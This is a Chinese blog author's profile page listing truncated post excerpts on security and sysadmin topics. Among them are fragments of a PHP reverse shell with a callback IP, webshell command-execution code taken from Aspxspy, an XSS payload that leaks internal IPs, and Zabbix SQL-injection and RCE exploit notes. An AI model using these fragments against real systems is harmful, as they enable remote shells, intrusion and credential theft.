serverxx0的最近发布

serverxx0

这个家伙比较懒，还没有个人介绍

116.4万 人气
213 原创
8 粉丝
51.1万 阅读数

关注

于 2012-12-24 加入 51CTO10.8年

感兴趣的领域

#黑客攻防 #病毒木马 #网络监控 #安全

Ta的分类

加载更多

近期来访

我的友情链接

jzking121' blog老徐的私房菜老徐的私房菜老徐的私房菜老徐的私房菜王伟游造技术博客吟—技术交流Free Linux, Share Linux

原创 2017-11-22 23:11:53 1181 阅读

PSEXEC执行命令原理分析

ipc$连接释放Psexesvc.exeOpenSCManager打开受害者机器上服务控制管理器的句柄CreateService创建服务获取服务句柄OpenService使用StartService启动服务

受害者

安全技术

原创 2016-11-15 12:49:44 5301 阅读

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

漏洞来源: https://www.exploit-db.com/exploits/39937/攻击成本：高危害程度：低(此洞需要密码)利用条件: 需要高权限用户登录影响范围：2.2 < 3.0.3tips: 此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。此exp并不是很完美,因为不

Linux

Software

成本

原创 2016-08-18 14:55:21 3137 阅读 1收藏

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60攻击成本：低危害程度：高利用条件: 需要guest用户权限(未登录用户都被设定为guest用户的访问权限)影响范围：2.2.x / 2.4.x/ 3.0.0-3.0.3修复建议: 禁用guest用户或者升级到3.0.4漏洞利用: 爆密码 &

zabbix

注入漏洞

原创精选 2016-08-18 14:25:52 1796 阅读 1收藏

js获取浏览器类型

浏览器

种类

原创 2016-04-20 10:34:16 1196 阅读

利用微信企业号进行告警

# -*- coding: UTF-8 -*- # __author__ = sanr # __email__ = 5754190@qq.cn' # __version__ = 0.1 import requests imp

content

version

please

原创 2016-04-14 18:48:01 1205 阅读 1收藏

pip自动生成requirements.txt依赖关系清单

pip freeze > requirements.txt

安全技术

pip

原创 2016-03-14 11:49:52 4692 阅读

内网主机存活扫描[Android]

NetXFing – Network Tools功能:显示每个设备的 IP 地址、Mac 地址、制造商、Bonjour 名等等，支持网络唤醒、关机等操作区别:两者无太大区别,非要说区别NetX的颜值高点。

网络

主机

Network

Android

制造商

转载精选 2016-03-07 10:25:00 1651 阅读 1收藏

pip被墙，修改国内源方法

找到C:\Users\Administrator新建pip文件夹，新建pip.ini文件填写以下内容[global]index-url = http://pypi.douban.com/simple[install]trusted-host = pypi.douban.com

文件夹

新建

Users

原创 2016-02-26 12:53:15 3210 阅读 1评论

xss-利用webrtc获取内网IP

xss.js function getIPs(callback){ var ip_dups = {}; &

xss

webrtc

获取内网

原创 2016-01-13 11:12:08 6861 阅读

恶意软件流量检测系统

maltrail是一个通过流量监测出恶意软件的程序，通过公开的含有恶意软件的黑名单，通过对用户的网络访问请求进行分析，判断其使用访问了恶意软件的服务器地址，下载链接，可疑域名，可疑文件名来判断是否遭受了恶意软件的感染。https://github.com/stamparm/maltrail

软件

服务器

黑名单

流量检测

下载链接

转载精选 2016-01-12 23:18:55 2696 阅读

Cuckoo恶意软件自动化分析系统

Cuckoo是一款开源的自动化恶意软件分析系统，目前主要用于分析windows平台下的恶意软件，但其框架同时支持Linux和Mac OS。cuckoo能够自动化获取如下信息：1.能够跟踪恶意软件进程及其产生的所有进程的win32 API调用记录；2.能够检测恶意软件的文件创建、删除和下载；3.能够获取恶意软件进程的内存镜像；4.能够获取系统全部内存镜像，方便其他工具进行进一步分析；5.能够以pac

windows

Office

python

压缩文件

执行文件

转载精选 2016-01-12 23:14:46 1696 阅读

php-reverse-shell

window、linux通用 <?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $os = substr(PHP_OS,0,3); $ipaddr = '192.168.182.128';

linux

window

通用

转载精选 2016-01-10 15:51:33 2108 阅读 1点赞 1评论

Aspxspy中提取执行cmd命令的代码

<%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <script Language="c#" runat="server"&

代码

false

提取执行

原创 2016-01-06 10:46:18 10000+阅读

安全日志分析

离线分析缺点:特征匹配 1.误报大 logswan 360星图 elk时时分析 splunk

日至分析

原创 2015-12-17 11:02:38 1450 阅读 1点赞 1评论

官方博客	全部文章	热门标签	班级博客
了解我们	在线客服	网站地图	意见反馈

开源基础软件社区	51CTO学堂
51CTO	汽车开发者社区

51CTO博客

Sanr